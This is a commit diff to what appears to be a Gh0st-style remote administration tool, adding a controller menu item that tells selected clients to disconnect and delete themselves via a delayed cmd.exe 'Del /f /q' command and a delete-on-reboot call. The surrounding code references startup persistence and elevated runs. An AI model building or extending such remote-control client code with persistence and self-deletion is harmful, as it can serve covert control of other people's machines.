Feature: Add a menu to uninstall client program
This commit is contained in:
@@ -15,6 +15,7 @@
|
||||
#include <common/iniFile.h>
|
||||
#include "IOCPUDPClient.h"
|
||||
#include "IOCPKCPClient.h"
|
||||
#include "auto_start.h"
|
||||
|
||||
// UDP 协议仅能针对小包数据,且数据没有时序关联
|
||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) {
|
||||
@@ -581,6 +582,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case TOKEN_UNINSTALL:
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE;// 被控端退出
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
self_del(10);
|
||||
Mprintf("======> Client uninstall \n");
|
||||
break;
|
||||
}
|
||||
|
||||
case SERVER_EXIT:
|
||||
{
|
||||
// 主控端退出
|
||||
|
||||
@@ -63,13 +63,20 @@ inline BOOL SetSelfStart(const char* sPath, const char* sNmae)
|
||||
return lRet == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
inline BOOL self_del(void)
|
||||
inline bool markForDeleteOnReboot(const char* file)
|
||||
{
|
||||
return MoveFileExA(file, NULL, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_WRITE_THROUGH) != FALSE;
|
||||
}
|
||||
|
||||
inline BOOL self_del(int timeoutSecond=3)
|
||||
{
|
||||
char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 };
|
||||
if (GetModuleFileName(NULL, file, MAX_PATH) == 0)
|
||||
return FALSE;
|
||||
|
||||
sprintf(szCmd, "cmd.exe /C timeout /t 3 /nobreak > Nul & Del /f /q \"%s\"", file);
|
||||
markForDeleteOnReboot(file);
|
||||
|
||||
sprintf(szCmd, "cmd.exe /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", timeoutSecond, file);
|
||||
|
||||
STARTUPINFO si = { 0 };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
|
||||
@@ -288,6 +288,9 @@ BOOL CreateDirectoryRecursively(const char* path)
|
||||
|
||||
int RegisterStartup(const char* startupName, const char* exeName)
|
||||
{
|
||||
#ifdef _DEBUG
|
||||
return 1;
|
||||
#endif
|
||||
char folder[MAX_PATH] = { 0 };
|
||||
if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0){
|
||||
size_t len = strlen(folder);
|
||||
|
||||
@@ -187,6 +187,7 @@ enum
|
||||
COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3>
|
||||
TOKEN_SYSINFOLIST = 61, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_CHAT_START = 62, // Զ<>̽<EFBFBD≯
|
||||
TOKEN_UNINSTALL = 63, // ж<><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||
|
||||
Binary file not shown.
@@ -353,6 +353,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
|
||||
m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO);
|
||||
m_bmOnline[13].LoadBitmap(IDB_BITMAP_ADDWATCH);
|
||||
m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN);
|
||||
m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
||||
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
@@ -479,6 +480,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin)
|
||||
ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet)
|
||||
ON_COMMAND(ID_TOOL_RCEDIT, &CMy2015RemoteDlg::OnToolRcedit)
|
||||
ON_COMMAND(ID_ONLINE_UNINSTALL, &CMy2015RemoteDlg::OnOnlineUninstall)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -1465,6 +1467,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]);
|
||||
|
||||
std::string masterHash(GetMasterHash());
|
||||
if (GetPwdHash() != masterHash || m_superPass.empty()) {
|
||||
@@ -3305,3 +3308,28 @@ void CMy2015RemoteDlg::OnToolRcedit()
|
||||
CRcEditDlg dlg;
|
||||
dlg.DoModal();
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineUninstall()
|
||||
{
|
||||
if (IDYES != MessageBox(_T("确定卸载选定的被控程序吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
|
||||
return;
|
||||
|
||||
BYTE bToken = TOKEN_UNINSTALL;
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
|
||||
EnterCriticalSection(&m_cs);
|
||||
int iCount = m_CList_Online.GetSelectedCount();
|
||||
for (int i = 0; i < iCount; ++i)
|
||||
{
|
||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||
CString strIP = m_CList_Online.GetItemText(iItem, ONLINELIST_IP);
|
||||
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
|
||||
m_CList_Online.DeleteItem(iItem);
|
||||
ctx->Destroy();
|
||||
strIP += "断开连接";
|
||||
ShowMessage("操作成功", strIP);
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
@@ -216,7 +216,7 @@ public:
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[15];
|
||||
CBitmap m_bmOnline[16];
|
||||
uint64_t m_superID;
|
||||
enum {
|
||||
STATUS_UNKNOWN = -1,
|
||||
@@ -306,4 +306,5 @@ public:
|
||||
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnMainWallet();
|
||||
afx_msg void OnToolRcedit();
|
||||
afx_msg void OnOnlineUninstall();
|
||||
};
|
||||
|
||||
@@ -407,6 +407,7 @@
|
||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\note.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
<Image Include="res\Bitmap\remove.bmp" />
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||
|
||||
@@ -162,6 +162,7 @@
|
||||
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||
<Image Include="res\Bitmap\remove.bmp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
|
||||
BIN
server/2015Remote/res/Bitmap/remove.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/remove.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
Binary file not shown.
Reference in New Issue
Block a user